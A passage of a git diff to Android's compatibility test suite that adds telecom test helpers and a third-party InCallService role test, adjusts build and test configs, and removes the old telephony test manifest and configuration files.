     public static final String SELF_MANAGED_ACCOUNT_LABEL = "android.telecom.cts";
-    public static final String TEST_URI_SCHEME = "foobuzz";
     public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT_3 = PhoneAccount.builder(
             TEST_SELF_MANAGED_HANDLE_3, SELF_MANAGED_ACCOUNT_LABEL)
             .setAddress(Uri.fromParts(TEST_URI_SCHEME, "test@test.com", null))
@@ -180,8 +222,14 @@
 
     private static final String COMMAND_ENABLE = "telecom set-phone-account-enabled ";
 
+    private static final String COMMAND_SET_ACCT_SUGGESTION =
+            "telecom set-phone-acct-suggestion-component ";
+
     private static final String COMMAND_REGISTER_SIM = "telecom register-sim-phone-account ";
 
+    private static final String COMMAND_SET_DEFAULT_PHONE_ACCOUNT =
+            "telecom set-user-selected-outgoing-phone-account ";
+
     private static final String COMMAND_WAIT_ON_HANDLERS = "telecom wait-on-handlers";
 
     public static final String MERGE_CALLER_NAME = "calls-merged";
@@ -201,6 +249,13 @@
         return executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER + packageName);
     }
 
+    public static String setCtsPhoneAccountSuggestionService(Instrumentation instrumentation,
+            ComponentName componentName) throws Exception {
+        return executeShellCommand(instrumentation,
+                COMMAND_SET_ACCT_SUGGESTION
+                        + (componentName == null ? "" : componentName.flattenToString()));
+    }
+
     public static String getDefaultDialer(Instrumentation instrumentation) throws Exception {
         return executeShellCommand(instrumentation, COMMAND_GET_DEFAULT_DIALER);
     }
@@ -227,6 +282,19 @@
                 + handle.getId() + " " + currentUserSerial + " " + label + " " + address);
     }
 
+    public static void setDefaultOutgoingPhoneAccount(Instrumentation instrumentation,
+            PhoneAccountHandle handle) throws Exception {
+        if (handle != null) {
+            final ComponentName component = handle.getComponentName();
+            final long currentUserSerial = getCurrentUserSerialNumber(instrumentation);
+            executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_PHONE_ACCOUNT
+                    + component.getPackageName() + "/" + component.getClassName() + " "
+                    + handle.getId() + " " + currentUserSerial);
+        } else {
+            executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_PHONE_ACCOUNT);
+        }
+    }
+
     public static void waitOnAllHandlers(Instrumentation instrumentation) throws Exception {
         executeShellCommand(instrumentation, COMMAND_WAIT_ON_HANDLERS);
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
new file mode 100644
index 0000000..b8b2f81
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.TEST_PHONE_ACCOUNT_HANDLE;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+
+import android.app.UiModeManager;
+// TODO: uncomment when roleManager is ready.
+// import android.app.role.RoleManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telecom.TelecomManager;
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallService;
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceControl;
+import android.telecom.cts.thirdptyincallservice.ICtsThirdPartyInCallServiceControl;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class ThirdPartyInCallServiceTest extends BaseTelecomTestWithMockServices {
+
+    private static final String TAG = ThirdPartyInCallServiceTest.class.getSimpleName();
+    private static final String ROLE_COMPANION_APP = "android.app.role.CALL_COMPANION_APP";
+    private static final String ROLE_CAR_MODE_DIALER_APP = "android.app.role.CAR_MODE_DIALER_APP";
+    private static final Uri sTestUri = Uri.parse("tel:555-TEST");
+    private Context mContext;
+    private UiModeManager mUiModeManager;
+    private TelecomManager mTelecomManager;
+    private CtsRoleManagerAdapter mCtsRoleManagerAdapter;
+    ICtsThirdPartyInCallServiceControl mICtsThirdPartyInCallServiceControl;
+    private boolean mSkipNullUnboundLatch;
+    private String mPreviousRoleHolder;
+    private String mThirdPartyPackageName;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        mCtsRoleManagerAdapter = new CtsRoleManagerAdapter(getInstrumentation());
+        mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+        mUiModeManager = (UiModeManager) mContext.getSystemService(Context.UI_MODE_SERVICE);
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        setUpControl();
+        mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(false);
+        mSkipNullUnboundLatch = false;
+
+        mThirdPartyPackageName = CtsThirdPartyInCallService.class.getPackage().getName();
+
+        // Ensure no ThirdPartyInCallService serves as a car mode dialer app or companion app.
+        // (Probably from previous test failures, if any.)
+        mCtsRoleManagerAdapter.removeAutomotiveRoleHolder(mThirdPartyPackageName);
+        mCtsRoleManagerAdapter.removeCompanionAppRoleHolder(mThirdPartyPackageName);
+
+        // Cache current role holder.
+        cacheCurrentRoleHolder(ROLE_CAR_MODE_DIALER_APP);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mICtsThirdPartyInCallServiceControl.resetCalls();
+
+        // Disable car mode and remove any third party car mode assigned before tear down.
+        mCtsRoleManagerAdapter.removeAutomotiveRoleHolder(mThirdPartyPackageName);
+        // Remove the third party companion app before tear down.
+        mCtsRoleManagerAdapter.removeCompanionAppRoleHolder(mThirdPartyPackageName);
+
+        // Restore cached car mode role holder.
+        if (!TextUtils.isEmpty(mPreviousRoleHolder)) {
+            mCtsRoleManagerAdapter.addAutomotiveRoleHolder(mPreviousRoleHolder);
+        }
+        mUiModeManager.disableCarMode(0);
+
+        super.tearDown();
+        if (!mSkipNullUnboundLatch) {
+            assertBindStatus(/* true: bind, false: unbind */false, /* expected result */true);
+        }
+    }
+
+    public void doNotTestCallWithoutThirdPartyApp() throws Exception {
+        // No companion apps
+        List<String> previousHolders = mCtsRoleManagerAdapter.getRoleHolders(ROLE_COMPANION_APP);
+        assertEquals(0, previousHolders.size());
+
+        // No car mode dialer
+        assertFalse(mThirdPartyPackageName.equals(mPreviousRoleHolder));
+
+        int previousCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+        addAndVerifyNewIncomingCall(sTestUri, null);
+        assertBindStatus(/* true: bind, false: unbind */true, /* expected result */false);
+        assertCallCount(previousCallCount);
+        // Third Party InCallService hasn't been bound yet, unbound latch can be null when tearDown.
+        mSkipNullUnboundLatch = true;
+    }
+
+    public void doNotTestCallWithCompanionApps() throws Exception {
+        // Set companion app default.
+        mCtsRoleManagerAdapter.addCompanionAppRoleHolder(mThirdPartyPackageName);
+        List<String> previousHolders = mCtsRoleManagerAdapter.getRoleHolders(ROLE_COMPANION_APP);
+        assertEquals(1, previousHolders.size());
+        assertEquals(mThirdPartyPackageName, previousHolders.get(0));
+
+        int previousCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+        addAndVerifyNewIncomingCall(sTestUri, null);
+        assertBindStatus(/* true: bind, false: unbind */true, /* expected result */true);
+        assertCallCount(previousCallCount + 1);
+        mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(true);
+    }
+
+    public void doNotTestCallWithThirdPartyCarModeApp() throws Exception {
+        // Set car mode app default.
+        mCtsRoleManagerAdapter.addAutomotiveRoleHolder(mThirdPartyPackageName);
+        assertEquals(mThirdPartyPackageName,
+                mCtsRoleManagerAdapter.getRoleHolders(ROLE_CAR_MODE_DIALER_APP).get(0));
+
+        mUiModeManager.enableCarMode(0);
+        addAndVerifyNewIncomingCallInCarMode(sTestUri, null);
+        mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(true);
+    }
+
+    private void addAndVerifyNewIncomingCallInCarMode(Uri incomingHandle, Bundle extras)
+            throws RemoteException {
+        int currentCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+        if (extras == null) {
+            extras = new Bundle();
+        }
+        extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle);
+        mTelecomManager.addNewIncomingCall(TEST_PHONE_ACCOUNT_HANDLE, extras);
+        assertBindStatus(/* true: bind, false: unbind */true, /* expected result */true);
+        assertCallCount(currentCallCount + 1);
+    }
+
+    /**
+     *
+     * @param bind: check the status of InCallService bind latches.
+     *             Values: true (bound latch), false (unbound latch).
+     * @param success: whether the latch should have counted down.
+     */
+    private void assertBindStatus(boolean bind, boolean success) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+            @Override
+            public Object expected() {
+                return success;
+            }
+
+            @Override
+            public Object actual() {
+                try {
+                    return mICtsThirdPartyInCallServiceControl.checkBindStatus(bind);
+                } catch (RemoteException re) {
+                    Log.e(TAG, "Remote exception when checking bind status: " + re);
+                    return false;
+                }
+            }
+        }, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "Unable to " + (bind ? "Bind" : "Unbind")
+                + " third party in call service");
+    }
+
+    private void assertCallCount(int expected) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+            @Override
+            public Object expected() {
+                return expected;
+            }
+
+            @Override
+            public Object actual() {
+                try {
+                    return mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+                } catch (RemoteException re) {
+                    Log.e(TAG, "Remote exception when getting local call count: " + re);
+                    return -1;
+                }
+
+            }
+        }, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Failed to match localCallCount and expected: " + expected);
+    }
+
+    private void setUpControl() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsThirdPartyInCallServiceControl.CONTROL_INTERFACE_ACTION);
+        // mContext is android.telecom.cts, which doesn't include thirdptyincallservice.
+        ComponentName controlComponentName =
+                ComponentName.createRelative(
+                        CtsThirdPartyInCallServiceControl.class.getPackage().getName(),
+                        CtsThirdPartyInCallServiceControl.class.getName());
+
+        bindIntent.setComponent(controlComponentName);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                Log.i(TAG, "Service Connected: " + name);
+                mICtsThirdPartyInCallServiceControl =
+                        ICtsThirdPartyInCallServiceControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mICtsThirdPartyInCallServiceControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
+    private void cacheCurrentRoleHolder(String roleName) {
+        // com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+        // runWithShellPermissionIdentity(() -> {
+            List<String> previousHolders = mCtsRoleManagerAdapter.getRoleHolders(roleName);
+            if (previousHolders == null || previousHolders.isEmpty()) {
+                mPreviousRoleHolder = null;
+            } else {
+                mPreviousRoleHolder = previousHolders.get(0);
+            }
+        // });
+    }
+
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/VideoProfileTest.java b/tests/tests/telecom/src/android/telecom/cts/VideoProfileTest.java
index 6c16abb..18a14f4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/VideoProfileTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/VideoProfileTest.java
@@ -104,4 +104,13 @@
         assertFalse(VideoProfile.isTransmissionEnabled(VideoProfile.STATE_RX_ENABLED));
         assertFalse(VideoProfile.isTransmissionEnabled(VideoProfile.STATE_PAUSED));
     }
-}
+
+    public void testCameraCapability() {
+        VideoProfile.CameraCapabilities cp = new VideoProfile.CameraCapabilities(
+                1, 1, true, 0.5f);
+        assertEquals(1, cp.getWidth());
+        assertEquals(1, cp.getHeight());
+        assertTrue(cp.isZoomSupported());
+        assertEquals(0.5f, cp.getMaxZoom());
+    }
+ }
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index fedfd89..fddb7e1 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -48,6 +48,7 @@
     --rename-manifest-package android.telecom2.cts \
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 21
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/telecom2/AndroidTest.xml b/tests/tests/telecom2/AndroidTest.xml
index d38f24b..ad80dcf 100644
--- a/tests/tests/telecom2/AndroidTest.xml
+++ b/tests/tests/telecom2/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Configuration for Telecom2 Tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index 7ae12e5..ec81b78 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -45,6 +45,7 @@
     --rename-manifest-package android.telecom3.cts \
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 25
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/telecom3/AndroidTest.xml b/tests/tests/telecom3/AndroidTest.xml
index 75b1d0d..7e8fcfd 100644
--- a/tests/tests/telecom3/AndroidTest.xml
+++ b/tests/tests/telecom3/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Configuration for Telecom3 Tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index 15cc3ab..85e22f1 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -1,4 +1,5 @@
-# Copyright (C) 2008 The Android Open Source Project
+#
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -11,42 +12,6 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+#
 
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := telephony-common
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt hamcrest-library \
-    compatibility-device-util-axt \
-    truth-prebuilt
-
-LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-                   $(call all-java-files-under, EmbmsMiddlewareTestApp) \
-                   $(call all-Iaidl-files-under, EmbmsMiddlewareTestApp)
-
-LOCAL_AIDL_INCLUDES := EmbmsMiddlewareTestApp/aidl/
-
-LOCAL_PACKAGE_NAME := CtsTelephonyTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# uncomment when b/13250611 is fixed
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-LOCAL_JAVA_LIBRARIES += android.test.base.stubs
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/telephony/AndroidManifest.xml b/tests/tests/telephony/AndroidManifest.xml
deleted file mode 100644
index 97d12dd..0000000
--- a/tests/tests/telephony/AndroidManifest.xml
+++ /dev/null
@@ -1,181 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2007 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telephony.cts">
-
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
-
-    <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
-                android:protectionLevel="signature"/>
-    <application>
-        <provider android:name="android.telephony.cts.MmsPduProvider"
-                  android:authorities="telephonyctstest"
-                  android:grantUriPermissions="true" />
-
-        <!-- SmsReceiver, MmsReceiver, ComposeSmsActivity, HeadlessSmsSendService together make
-        this a valid SmsApplication (that can be set as the default SMS app). Although some of these
-        classes don't do anything, they are needed to make this a valid candidate for default SMS
-        app. -->
-        <!-- BroadcastReceiver that listens for incoming SMS messages -->
-        <receiver android:name=".SmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
-            <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
-            </intent-filter>
-        </receiver>
-
-        <!-- BroadcastReceiver that listens for incoming MMS messages -->
-        <receiver android:name=".MmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
-            <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
-            </intent-filter>
-        </receiver>
-
-        <!-- Activity that allows the user to send new SMS/MMS messages -->
-        <activity android:name=".ComposeSmsActivity" >
-            <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
-            </intent-filter>
-        </activity>
-
-        <!-- Service that delivers messages from the phone "quick response" -->
-        <service android:name=".HeadlessSmsSendService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-            android:exported="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
-            </intent-filter>
-        </service>
-
-        <service
-          android:name="android.telephony.cts.StubInCallService"
-          android:permission="android.permission.BIND_INCALL_SERVICE">
-            <intent-filter>
-                <action android:name="android.telecom.InCallService"/>
-            </intent-filter>
-            <meta-data
-              android:name="android.telecom.IN_CALL_SERVICE_UI"
-              android:value="true"/>
-        </service>
-
-        <service
-          android:name=".MockVisualVoicemailService"
-          android:permission="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
-          android:exported="true">
-            <intent-filter>
-                <action android:name="android.telephony.VisualVoicemailService"/>
-            </intent-filter>
-
-        </service>
-
-        <service
-            android:name=".PermissionlessVisualVoicemailService"
-            android:enabled="false"
-            android:exported="true">
-            <intent-filter>
-                <action android:name="android.telephony.VisualVoicemailService"/>
-            </intent-filter>
-
-        </service>
-
-        <service android:name="com.android.compatibility.common.util.BlockedNumberService"
-                android:exported="true"
-                android:singleUser="true" >
-            <intent-filter>
-                <action android:name="android.telecom.cts.InsertBlockedNumber"/>
-                <action android:name="android.telecom.cts.DeleteBlockedNumber"/>
-            </intent-filter>
-        </service>
-
-        <activity android:name="android.telephony.cts.StubDialerActvity">
-            <intent-filter>
-                <action android:name="android.intent.action.DIAL"/>
-                <data android:scheme="tel"/>
-            </intent-filter>
-            <intent-filter>
-                <action android:name="android.intent.action.DIAL"/>
-            </intent-filter>
-        </activity>
-
-        <activity android:name="android.telephony.euicc.cts.EuiccTestResolutionActivity"/>
-
-        <activity android:name="android.telephony.euicc.cts.EuiccResolutionActivity"/>
-
-        <uses-library android:name="android.test.runner" />
-
-
-        <!-- This is the receiver defined by the MBMS api. -->
-        <receiver
-            android:name="android.telephony.mbms.MbmsDownloadReceiver"
-            android:permission="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
-            android:enabled="true"
-            android:exported="true">
-        </receiver>
-
-        <provider
-            android:name="android.telephony.mbms.MbmsTempFileProvider"
-            android:authorities="android.telephony.mbms.cts"
-            android:exported="false"
-            android:grantUriPermissions="true">
-        </provider>
-
-        <meta-data android:name="mbms-streaming-service-override"
-                   android:value="android.telephony.cts.embmstestapp/.CtsStreamingService"/>
-        <meta-data android:name="mbms-download-service-override"
-                   android:value="android.telephony.cts.embmstestapp/.CtsDownloadService"/>
-        <meta-data
-            android:name="mbms-file-provider-authority"
-            android:value="android.telephony.mbms.cts"/>
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telephony.cts"
-                     android:label="CTS tests of android.telephony">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
-
diff --git a/tests/tests/telephony/AndroidTest.xml b/tests/tests/telephony/AndroidTest.xml
deleted file mode 100644
index 43486b8..0000000
--- a/tests/tests/telephony/AndroidTest.xml
+++ /dev/null
@@ -1,45 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Telephony test cases">
-    <option name="test-suite-tag" value="cts" />
-    <target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
-        <option name="apk" value="CtsTelephonyPreparerApp.apk" />
-        <option name="package" value="android.telephony.cts.preconditions.app" />
-    </target_preparer>
-    <option name="config-descriptor:metadata" key="component" value="telecom" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
-        <option name="token" value="sim-card" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsTelephonyTestCases.apk" />
-        <option name="test-file-name" value="EmbmsMiddlewareCtsTestApp.apk"/>
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.telephony.cts" />
-        <option name="hidden-api-checks" value="false"/>
-    </test>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
-        <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
-        <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
-        <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
-        <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
-        <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.OmtpService" />
-        <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
-        <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.OmtpService" />
-    </target_preparer>
-</configuration>
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
deleted file mode 100644
index 1b9c910..0000000
--- a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-LOCAL_PATH:= $(call my-dir)
-
-# Build the Sample Embms Services
-include $(CLEAR_VARS)
-
-src_dirs := src
-
-LOCAL_SRC_FILES := $(call all-java-files-under, $(src_dirs)) \
-                   $(call all-Iaidl-files-under, aidl)
-
-LOCAL_AIDL_INCLUDES := aidl/
-
-LOCAL_PACKAGE_NAME := EmbmsMiddlewareCtsTestApp
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := test_current
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_PROGUARD_ENABLED := disabled
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml b/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml
deleted file mode 100644
index 0ea1be2..0000000
--- a/tests/tests/telephony/EmbmsMiddlewareTestApp/AndroidManifest.xml
+++ /dev/null
@@ -1,42 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-     http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.telephony.cts.embmstestapp">
-  <permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"
-              android.protectionLevel="signature"/>
-
-  <uses-permission android:name="android.telephony.cts.embms.permission.SEND_EMBMS_INTENTS"/>
-  <uses-permission android:name="android.telephony.cts.embmstestapp.CTS_DOWNLOAD_PERMISSION"/>
-
-  <application android:label="EmbmsCtsMiddleware">
-    <service android:name="android.telephony.cts.embmstestapp.CtsStreamingService"
-            android:launchMode="singleInstance">
-      <intent-filter>
-        <action android:name="android.telephony.action.EmbmsStreaming" />
-        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
-      </intent-filter>
-    </service>
-    <service android:name="android.telephony.cts.embmstestapp.CtsDownloadService"
-             android:launchMode="singleInstance">
-      <intent-filter>
-        <action android:name="android.telephony.action.EmbmsDownload" />
-        <action android:name="android.telephony.cts.embmstestapp.ACTION_CONTROL_MIDDLEWARE" />
-      </intent-filter>
-    </service>
-  </application>
-</manifest>
-
diff --git a/tests/tests/telephony/current/Android.mk b/tests/tests/telephony/current/Android.mk
new file mode 100644
index 0000000..efea8ad
--- /dev/null
+++ b/tests/tests/telephony/current/Android.mk
@@ -0,0 +1,54 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
